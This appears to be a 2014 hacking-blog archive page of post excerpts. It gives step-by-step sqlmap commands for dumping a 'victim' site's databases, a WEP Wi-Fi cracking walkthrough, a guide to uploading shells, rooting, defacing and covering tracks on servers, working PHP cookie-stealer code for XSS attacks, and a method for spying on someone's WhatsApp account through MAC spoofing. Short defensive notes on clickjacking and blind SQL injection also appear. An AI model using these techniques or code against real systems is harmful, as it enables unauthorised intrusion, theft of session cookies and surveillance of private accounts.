Posts

Showing posts from September, 2014

Hack website using Backtrack (sqlmap)

Image
1. Open your backtrack terminal and type cd /pentest/database/sqlmap and hit enter. Now sqlmap is open in your terminal 2. Now find the vulnerable site. (well I already have vulnerable site) 3. Now type this command in the terminal and hit enter.(refer above figure) python sqlmap.py -u http://yourvictim'slink/index.php?id=4 –dbs 4. Now you will get the database name of the website Well I got the two database aj and information_schema we will select aj database. 5. Now get the tables of that database. for that you need to enter this command into your terminal and simply hit Enter. python sqlmap.py -u http://yourvictim'slink/index.php?id=4 -D  (database name) –tables 6. Now we need to grab the tables from the aj database. paste this command bellow command and hit enter. python sqlmap.py -u http://www.yourvictim'slink.com/index.php?id=4 -D aj –tables 7. Now you will get the tables list which is stored i

Blind SQL Injection

Description Blind SQL (Structured Query Language) injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection. When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal SQL Injection , the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible. . Threat Modeling Same as for SQL Injection Risk Fa

HACK WIFI PASSWORD WITH BACKTRACK 5

Image
Create a new virtual machine like i have created...!!!    press enter ......go on  At BOOT Menu....just type startx an Now y our all set to go... just simply follow below steps...now   Rules to Follow A Backtrack Live CD : the Linux Live CD that lets you do all sorts of security testing and tasks. Download yourself a copy of the CD and burn it, or load it up in VMware to get started. here a link to download it http://www.backtrack-linux.org/downloads I highly recommend you to download backtrck 32 bit version coz it runs smoothly...in win7 64bit through vmware workstation.......... / A nearby WEP-enabled Wi-Fi network  Patience with the command line. This is an ten-step process that requires typing in long, arcane commands and waiting around for your Wi-Fi card to collect data in order to crack the password. Like the doctor said to the short person, be a little patient.                                              S

How to Hack a Server [Shell Uploading, Rooting, Defacing, Covering your Tracks]

Image
How to Hack a Server Everything you need to know…. Tools you need: - Backtrack ( Backtrack Website ) - Firefox (get it from here…. ) – Included in Backtrack and Ubuntu - Netcat (Included in Backtrack)   — If you are on other linux enviroments get it from here…. - iCon2PHP (Get it from here…. ) - A good shell (iCon2PHP Archive includes three great shells) - A good VPN or Tor (More explanation below…..) - Acunentix Web Vulnerability Scanner (Search for a cracked version at Hackforums.net ) About the Tools: Backtrack – Backtrack is a Linux distribution based on Ubuntu. It includes everything you need to become a good hacker. Apart from this, hacking behind a Linux system is better than a Windows one since most Websites are on Linux Servers. ( Just a little tip: To wirelessly connect to a network use the Wicd Network Manager, located under the Applications->Internet) Firefox – Firefox is the best browser for hacking. You can easily configure a proxy

Defending against Clickjacking

here are two main ways to prevent clickjacking: Sending the proper X-Frame-Options HTTP response headers that instruct the browser to not allow framing from other domains Employing defensive code in the UI to ensure that the current frame is the most top level window

How To Steal Cookies With Cross Site Scripting (XSS).

Creating A Cookie Stealer In PHP I will present 3 different ways to create a cookie stealer script. The first one is very basic. Method 1 The following code is a simple way to steal a cookie and put the content in a file called cookie.txt : <!--?php $cookie = $HTTP_GET_VARS [ "cookie" ]; $steal = fopen( "cookie.txt" , "a" ); fwrite( $steal , $cookie . "\n" ); fclose( $steal ); ?--> $cookie = $HTTP_GET_VARS["cookie"]; Steals the cookie from the current url (stealer.php?cookie=x) and stores the cookies in the $cookie variable. $steal = fopen("cookie.txt", "a"); This open the cookie file in append mode so that we can append the stolen cookie. fwrite($steal, $cookie ."\n"); This will store the stolen cookie inside the file. fclose($steal); Closes the opened file. ↑ Back To Top ↑ Method 2 You can also use the PHP() mail function to send the cookie to your ow

WhatsApp Tricks and Hacks

Whatsapp Messenger is a cross platform instant messaging application.Whatsapp is certain really the foremost fashionable instant electronic messaging for smartphones.WhatsApp Messenger is available for iPhone, BlackBerry, Android, Windows Phone and Nokia and yes, those phones can all message each other!.I am sure you all have heard of it if you are not using it . These are the some whatsapp hack or tricks you should know if you are using whatsapp. 1.Whatsapp Hack to spy on some other account So if you people have observed you can not have your whatsapp account logged in in two devices. Means session is given to only 1 mac address. If the MAC [ Media Access Control ] address of the device requesting access changes then whatsapp asks you to re-verify your account! And common, “whatsapp people” you think Mac address cant be spoofed. But yeah Nice try whatsapp developer’s :p Here is how to do it- You need to get access to victim phone to get the victims phone “MAC address